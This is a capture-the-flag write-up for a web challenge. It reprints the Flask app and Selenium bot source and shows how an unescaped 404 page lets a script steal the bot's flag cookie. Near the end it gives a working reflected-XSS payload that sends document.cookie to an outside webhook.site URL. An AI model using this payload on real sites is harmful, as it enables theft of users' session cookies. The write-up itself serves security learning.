CyberApocalypse Bug Report Writeup
Challenge

Solution
we are also given the source file here
which had the following

and the challenge

the two python scripts as follows
1from flask import Flask, request, render_template
2from urllib.parse import unquote
3from bot import visit_report
4
5app = Flask(__name__)
6
7@app.route("/")
8def index():
9 return render_template("index.html")
10
11@app.route("/api/submit", methods=["POST"])
12def submit():
13 try:
14 url = request.json.get("url")
15
16 assert(url.startswith('http://') or url.startswith('https://'))
17 visit_report(url)
18
19 return {"success": 1, "message": "Thank you for your valuable submition!"}
20 except:
21 return {"failure": 1, "message": "Something went wrong."}
22
23
24@app.errorhandler(404)
25def page_not_found(error):
26 return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404
27
28app.run(host="0.0.0.0", port=1337)
brief look at it, nothing much it just forwards our reported url to the bot
but bot.py was interesting
1from selenium import webdriver
2from selenium.webdriver.chrome.options import Options
3from selenium.webdriver.support.ui import WebDriverWait
4
5def visit_report(url):
6
7 options = Options()
8 options.add_argument('headless')
9 options.add_argument('no-sandbox')
10 options.add_argument('disable-dev-shm-usage')
11 options.add_argument('disable-infobars')
12 options.add_argument('disable-background-networking')
13 options.add_argument('disable-default-apps')
14 options.add_argument('disable-extensions')
15 options.add_argument('disable-gpu')
16 options.add_argument('disable-sync')
17 options.add_argument('disable-translate')
18 options.add_argument('hide-scrollbars')
19 options.add_argument('metrics-recording-only')
20 options.add_argument('mute-audio')
21 options.add_argument('no-first-run')
22 options.add_argument('dns-prefetch-disable')
23 options.add_argument('safebrowsing-disable-auto-update')
24 options.add_argument('media-cache-size=1')
25 options.add_argument('disk-cache-size=1')
26 options.add_argument('user-agent=BugHTB/1.0')
27 browser = webdriver.Chrome('chromedriver', options=options, service_args=['--verbose', '--log-path=/tmp/chromedriver.log'])
28
29 browser.get('http://127.0.0.1:1337/')
30
31 browser.add_cookie({
32 'name': 'flag',
33 'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}'
34 })
35
36 try:
37 browser.get(url)
38 WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete')
39 except:
40 pass
41 finally:
42 browser.quit()
1browser.get('http://127.0.0.1:1337/')
2
3 browser.add_cookie({
4 'name': 'flag',
5 'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}'`
using this piece of code we can see that the bot visits the url sent and adds some cookies to it
…
with that i decided to use ssrf and xss,
ssrf by using the ip 127.0.0.1:1337 and xss using hookbin and an xss payload to steal the cookie
my final payload was
https://127.0.0.1:1337/<script>document.write('<img src="https://webhook.site/e923b472-7002-4b02-902d-61f0eedebbe9/?c='%2bdocument.cookie%2b'" />');</script>
as

and a few seconds later we got the flag leak on our hookbin instance
